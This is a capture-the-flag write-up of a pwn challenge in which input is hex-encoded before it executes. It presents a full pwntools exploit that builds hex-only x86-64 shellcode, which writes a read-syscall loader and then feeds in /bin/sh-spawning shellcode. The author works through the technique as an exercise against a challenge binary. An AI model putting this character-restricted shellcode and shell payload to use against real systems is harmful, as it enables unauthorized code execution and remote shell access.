# US Cyber Open II - PWN - 16 bit!
## A new and exciting shellcode adventure!
### Description
During the ICC competition we where given a shellcoding challenge to make a base64 encoded shellcode, ie the shellcode could only consist of the characters "a-zA-Z0-9+/=", during an 8 hour ctf we completed it in about 1.5 hours. How long will it take you to create base16 shellcode?
### tl;dr
To solve you had to write shellcode that makes use of xors of known constant data values in order to builds a loader shellcode.
## Triage
We're given a binary that isn't exceptionally interesting. Below is decompiled code from a few key functions that show how it operates.
```c//code automatically generated by ghidraundefined8 main(void)
{    void *pvVar1;     setup();    pvVar1 = mmap((void *)0x133713370000,0x1000,7,0x32,-1,0);    if (pvVar1 != (void *)0x133713370000) {        puts("mmap failed");     /* WARNING: Subroutine does not return */        exit(-1);    }    read(0,(void *)0x133713370000,100);    encode(0x133713370000);    (*(code *)0x133713370000)();    return 0;}
```
Here, the main function creates a new region of memory at 0x133713370000, sets it to RWX permissions (perfect for shellcode) and calls it as a function after reading in and encoding a message. This is a classic shellcode challenge setup designed to quickly allow running of hsellcode, in the real world we'd need to do more work to get our shellcode to run naturally.
```c//code from ghidra edited to be more concisechar pos[] = "0123456789ABCDEF";void encode(char *buf)
{    char temp_buffer [128];    memset(temp_buffer,0,0x80);    memmove(temp_buffer,buf,100);    for (int i = 0; i_c < 100; i += 1) {        buf[i * 2 + 1] = pos[temp_buffer[local_c] & 0xf];        buf[i * 2] = pos[(temp_buffer[local_c] >> 4) & 0xf];    }    return;}
```
What this does in practice is it takes 100 input bytes in a buffer, and then splits them into nibbles (4 bit sections or a half byte), and then encodes each of these nibbles into their corresponding hex representation. This is essentially the same as converting a string of raw bytes into a hex string. In practice, this means we need to build a shellcode only use (uppercase) hex characters.
## Designing our shellcode, big picture
One huge thing to note, we completely lack the instructions we need to call a syscall, which is normally required to do anything of note. However, we are in a RWX segment, and can use our first shellcode to write a new shellcode without the hex character limitation. So we instead are going to write a shellcode that writes a second shellcode that includes characters we are forbidden. This second shellcode is best off being a shellcode loader as well, since a "read" syscall that allows us to load in an arbitrarily large final shellcode can be done with far less bytes than whatever final shellcode we proceed with.
Firstly, for testing of how bytes disassemble to instructions, I used the following website (https://defuse.ca/online-x86-assembler.htm#disassembly). I proceeded with what is essentially brute force, testing out each combination of bytes and seeing if I got a valid instruction. This highlighted many assembly instructions, what is in the following list are purely instructions that I think can help me. With only these instructions (with immediate values altered) I can load in an and execute an arbitrary shellcode.
```asm
32 30                   xor    dh,BYTE PTR [rax]            ; xor dh,BYTE PTR [rax]34 30                   xor    al,0x30                      ; xor al, imm835 30 30 30 30          xor    eax,0x30303030               ; xor eax, imm3230 41 30                xor    BYTE PTR [rcx+0x30],al       ; xor BYTE PTR [rcx+imm8],al30 42 30                xor    BYTE PTR [rdx+0x30],al       ; xor BYTE PTR [rdx+imm8],al30 43 30                xor    BYTE PTR [rbx+0x30],al       ; xor BYTE PTR [rbx+imm8],al30 45 30                xor    BYTE PTR [rbp+0x30],al       ; xor BYTE PTR [rbp+imm8],al30 46 30                xor    BYTE PTR [rsi+0x30],al       ; xor BYTE PTR [rsi+imm8],al32 41 30                xor    al,BYTE PTR [rcx+0x30]       ; xor al, BYTE PTR [rcx+imm8]32 42 30                xor    al,BYTE PTR [rdx+0x30]       ; xor al, BYTE PTR [rdx+imm8]32 43 30                xor    al,BYTE PTR [rbx+0x30]       ; xor al, BYTE PTR [rbx+imm8]32 45 30                xor    al,BYTE PTR [rbp+0x30]       ; xor al, BYTE PTR [rbp+imm8]32 46 30                xor    al,BYTE PTR [rsi+0x30]       ; xor al, BYTE PTR [rsi+imm8]
```
A quick note on uncommon registers. DH refers to the the upper half of the bottom 16 bits of rdx. So if RDX = 0x012345678abcdef , dh will refer to 0xcd. AL is more common and represents the bottom 8 bits of RAX, so if RAX = 0x012345678abcdef then AL = 0xef
Furthermore, we gain the following assembly instruction from not inputing anything, with there simply being 00 bytes in the empty and unfilled parts of memory.```00 00                   add    BYTE PTR [rax],al```This is essentially a NOP as long as [rax] points somewhere unimportant and is writable memory. The default RAX value matches this description.
Additionally, when our shellcode begins execution, the following are the initial contents of the registers we have access to. This was run with aslr off, actual addresses may be more scrambled but they should point towards the same objects. ```rax = 0x133713370000 -> start of shellcoderbx = 0x555555555450 -> pointer to the function  __libc_csu_initrcx = 0x555555558060 -> pointer to the hex string "0123456789ABCDEF", comes directly before the .bss segment.rdx = 0x1337133700c6 -> end of shellcodersi = 0x133713370000 -> start of shellcode againrdi = 0x7fffffffdd30 -> unimportant/frequently changing stack addressrbp = 0x7fffffffdde0 -> unimportant/frequently changing stack addressrsp = 0x7fffffffddc8 -> unimportant/frequently changing stack address```
Since we have several shellcode "gadgets" that access registers plus a constant offset (that can be represented as 0x30-0x39 or 0x41-0x46), it may be useful to rely on bytes pointed at by these initial register values. We will primarily be using the registers rax, rbx, and rdx. We use rdx as a pointer to a location to write our new shellcode, we use rax (and most frequently, just its last 8 bits al) because we are able to easily alter its value with xor commands. Finally, we use rbx because it points towards a section of code, and this means we will have highly varied and "random" bytes that will remain the same between runs that should be able to be xored together to form any byte.
This gives me the following plan.-Use a combinaton of different imm8 values with `xor al, imm8` and `xor al, BYTE PTR [rbx+imm8]` to xor al into containing any byte value I want.-We then store the al value using `xor BYTE PTR [rdx+imm8],al`-We will need to alter rdx at some point to "move it along" to write more shellcode, we can use `xor dh,BYTE PTR [rax]` for that.
## Building arbitrary al values
We have a total of 32 different bytes we can xor with AL. This is done with all 16 possible imm8 values we have available with `; xor al, imm8` and `xor al, BYTE PTR [rbx+imm8]`. While the former has obvious values, those being 0x30-0x39 + 0x41-0x46, the values are less clear for those referenced around rcx. I dump those values with gdb and assume they remain constant, which is true thanks to them being in an executable segment without any major relocations.
```x/10bx 10bx $rbx+0x300x55897bb67480 <__libc_csu_init+48>:	0x03	0x74	0x1b	0x31	0xdb	0x0f	0x1f	0x000x55897bb67488 <__libc_csu_init+56>:	0x4c	0x89x/6bx $rbx+0x410x55897bb67491 <__libc_csu_init+65>:	0x41	0xff	0x14	0xdf	0x48	0x83```
I then try all combinations of xoring these bytes together, and then choose the combination that xors AL by a given constant value in the shortest number of bytes.
## What do we write?
It takes us on average about 8 bytes to write a single arbitrary byte elsewhere in the binary. This means we need to have a shellcode no longer than around 20 bytes. Our best option for this size constraint is a read shellcode loader. The following is a simple loader that does the job.```48 31 ff                xor    rdi,rdi48 89 d6                mov    rsi,rdx48 c7 c2 00 10 00 00    mov    rdx,0x100048 31 c0                xor    rax,rax0f 05                   syscall ```
Due to writing constraints, we split it up into the following chunks. We need to ensure that the gap between any two chunks is a multiple of two, to ensure that the \x00 bytes pair up and act as a nop.```
rcx + 0x30:  48 31 ff                xor    rdi,rdi ; set rdi to 0, to read from stdinrcx + 0x33: 48 89 d6                 mov    rsi,rdx ; set rsi to the end of the original shellcode as a location to read in
rcx + 0x131:  48 c7 c2 00 10 00 00   mov    rdx,0x1000 ; a nice big buffer size
rcx + 0x142: 48 31 c0                xor    rax,rax ; sets rax = 0, this WILL make \x00\x00 bytes segfault rather than NOPrcx + 0x145: 0f 05                   syscall ```
When this shellcode loader runs, I can feed in a new shellcode of up to 0x1000 bytes that will be thrown into rdx, which points at the original end of the shellcode. This should then overwrite all our work with a new, beautiful shellcode that executes /bin/sh.
## Pulling it all together.
I wrote the following script to automatically build the shellcode. However, I also could have manually built it. As a whole, scripting is faster so I advise doing it where possible.
```pythonfrom pwn import *
p = process("./sixteen", env={"LD_PRELOAD": "/home/bee/hackinghobby/cyberopen/libc.so.6"})#p = remote("0.cloud.chals.io", 23261)
gdb.attach(p)
xors = dict()xors[0x0] = b""xors[0x03] = b"\x32\x43\x30"xors[0x74] = b"\x32\x43\x31"xors[0x1b] = b"\x32\x43\x32"xors[0x31] = b"\x32\x43\x33"xors[0xdb] = b"\x32\x43\x34"xors[0x0f] = b"\x32\x43\x35"xors[0x1f] = b"\x32\x43\x36"xors[0x00] = b"\x32\x43\x37"xors[0x4c] = b"\x32\x43\x38"xors[0x89] = b"\x32\x43\x39"xors[0x41] = b"\x32\x43\x41"xors[0xff] = b"\x32\x43\x42"xors[0x14] = b"\x32\x43\x43"xors[0xdf] = b"\x32\x43\x44"xors[0x48] = b"\x32\x43\x45"xors[0x83] = b"\x32\x43\x46"xors[0x30] = b"\x34\x30"xors[0x31] = b"\x34\x31"xors[0x32] = b"\x34\x32"xors[0x33] = b"\x34\x33"xors[0x34] = b"\x34\x34"xors[0x35] = b"\x34\x35"xors[0x36] = b"\x34\x36"xors[0x37] = b"\x34\x37"xors[0x38] = b"\x34\x38"xors[0x39] = b"\x34\x39"xors[0x41] = b"\x34\x41"xors[0x42] = b"\x34\x42"xors[0x43] = b"\x34\x43"xors[0x44] = b"\x34\x44"xors[0x45] = b"\x34\x45"xors[0x46] = b"\x34\x46"
#Iteratively xor all known xor differences by all other known differences, if we create a new xor record it#If our new sequence is mroe efficient, also record it.for loops in range(8):    for q in range(256):        if q not in xors:            continue        for i in range(256):            if i not in xors:                continue            combo = i ^ q            new = xors[i] + xors[q]            if combo not in xors:                xors[combo] = new            if len(new) < len(xors[combo]):                xors[combo] = newtotal = 0for x in range(256):    print(hex(x), len(xors[x]), xors[x])    total += len(xors[x])print("Avg bytes per AL xor", total/256.0)
def write_rdx_off(off):    return bytes([0x30, 0x42, off]) #we keep a global state of the last al value, to ensure we're always xoring based on the last known valuesimul_al = 0x0def get_xor(goal):    global simul_al    a =  xors[goal^simul_al]    simul_al = goal    return a def make_shellcode():    # a bit of prelude, this is essentially a NOP that guarantees [rax] points towards 0x30 while [rax+1] points towards 0x30    shellcode = b"\x30\x31\x30\x31"    #cluster these two writes together for optimization reasons    shellcode += get_xor(0x48)    shellcode += write_rdx_off(0x31)    shellcode += write_rdx_off(0x34)    shellcode += get_xor(0xff)    shellcode += write_rdx_off(0x33)    shellcode += get_xor(0x31)    shellcode += write_rdx_off(0x32)    shellcode += get_xor(0x89)    shellcode += write_rdx_off(0x35)    shellcode += get_xor(0xd6)    shellcode += write_rdx_off(0x36)     #This xors rdx by 0x100 by xoring dh first by [rax+1] and then by [rax].    shellcode += get_xor(0x1)    shellcode += b"\x32\x30"    shellcode += get_xor(0x0)    shellcode += b"\x32\x30"     #now add the final bit of shellcode    shellcode += get_xor(0x48)    shellcode += write_rdx_off(0x31)    shellcode += get_xor(0xc7)    shellcode += write_rdx_off(0x32)    shellcode += get_xor(0xc2)    shellcode += write_rdx_off(0x33)    shellcode += get_xor(0x08)    shellcode += write_rdx_off(0x35)    shellcode += get_xor(0x48)    shellcode += write_rdx_off(0x42)    shellcode += get_xor(0x31)    shellcode += write_rdx_off(0x43)    shellcode += get_xor(0xc0)    shellcode += write_rdx_off(0x44)    shellcode += get_xor(0xf)    shellcode += write_rdx_off(0x45)    shellcode += get_xor(0x5)    shellcode += write_rdx_off(0x46)    #ensure our shellcode is of an even length    if len(shellcode) % 2 == 1:        shellcode += b"\x32\x43\x30"     return shellcode  #Helper for feeding shellcode into the programdef encode(msg):    byted = b""    print(msg)    assert len(msg) % 2 == 0    for i in range(0,len(msg),2):        mapped = b"0123456789ABCDEF"        a = mapped.index(msg[i])        b = mapped.index(msg[i+1])        #print(a, b)        byted += bytearray([(a << 4) + b])    return byted  code = make_shellcode()print(len(code))p.recvuntil("Data:")p.sendline(encode(code))#input("waiting")
#feed in a nop sled following by a /bin/sh shellcodebinsh = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
p.sendline(b"\x90"*0x300 +binsh)p.interactive()```
Final shellcode assembly.```0:  30 31                   xor    BYTE PTR [rcx],dh2:  30 31                   xor    BYTE PTR [rcx],dh4:  32 43 45                xor    al,BYTE PTR [rbx+0x45]7:  30 42 31                xor    BYTE PTR [rdx+0x31],ala:  30 42 34                xor    BYTE PTR [rdx+0x34],ald:  32 43 46                xor    al,BYTE PTR [rbx+0x46]10: 34 34                   xor    al,0x3412: 30 42 33                xor    BYTE PTR [rdx+0x33],al15: 32 43 42                xor    al,BYTE PTR [rbx+0x42]18: 34 31                   xor    al,0x311a: 30 42 32                xor    BYTE PTR [rdx+0x32],al1d: 32 43 39                xor    al,BYTE PTR [rbx+0x39]20: 34 31                   xor    al,0x3122: 30 42 35                xor    BYTE PTR [rdx+0x35],al25: 34 44                   xor    al,0x4427: 32 43 32                xor    al,BYTE PTR [rbx+0x32]2a: 30 42 36                xor    BYTE PTR [rdx+0x36],al2d: 32 43 44                xor    al,BYTE PTR [rbx+0x44]30: 34 30                   xor    al,0x3032: 34 38                   xor    al,0x3834: 32 30                   xor    dh,BYTE PTR [rax]36: 34 31                   xor    al,0x3138: 34 30                   xor    al,0x303a: 32 30                   xor    dh,BYTE PTR [rax]3c: 32 43 45                xor    al,BYTE PTR [rbx+0x45]3f: 30 42 31                xor    BYTE PTR [rdx+0x31],al42: 32 43 39                xor    al,BYTE PTR [rbx+0x39]45: 34 32                   xor    al,0x3247: 34 34                   xor    al,0x3449: 30 42 32                xor    BYTE PTR [rdx+0x32],al4c: 34 35                   xor    al,0x354e: 34 30                   xor    al,0x3050: 30 42 33                xor    BYTE PTR [rdx+0x33],al53: 32 43 42                xor    al,BYTE PTR [rbx+0x42]56: 34 35                   xor    al,0x3558: 30 42 35                xor    BYTE PTR [rdx+0x35],al5b: 34 43                   xor    al,0x435d: 32 43 30                xor    al,BYTE PTR [rbx+0x30]60: 30 42 42                xor    BYTE PTR [rdx+0x42],al63: 34 41                   xor    al,0x4165: 34 38                   xor    al,0x3867: 30 42 43                xor    BYTE PTR [rdx+0x43],al6a: 32 43 42                xor    al,BYTE PTR [rbx+0x42]6d: 34 36                   xor    al,0x366f: 34 38                   xor    al,0x3871: 30 42 44                xor    BYTE PTR [rdx+0x44],al74: 32 43 42                xor    al,BYTE PTR [rbx+0x42]77: 34 30                   xor    al,0x3079: 30 42 45                xor    BYTE PTR [rdx+0x45],al7c: 34 38                   xor    al,0x387e: 34 32                   xor    al,0x3280: 30 42 46                xor    BYTE PTR [rdx+0x46],al83: 32 43 30                xor    al,BYTE PTR [rbx+0x30] ```
But this is all simply the hex string "01012CE0B10B42CF440B32CB410B22C9410B54D2C20B62CD4048204140202CE0B12C942440B245400B32CB450B54C2C00BB4A480BC2CB46480BD2CB400BE48420BF2C0".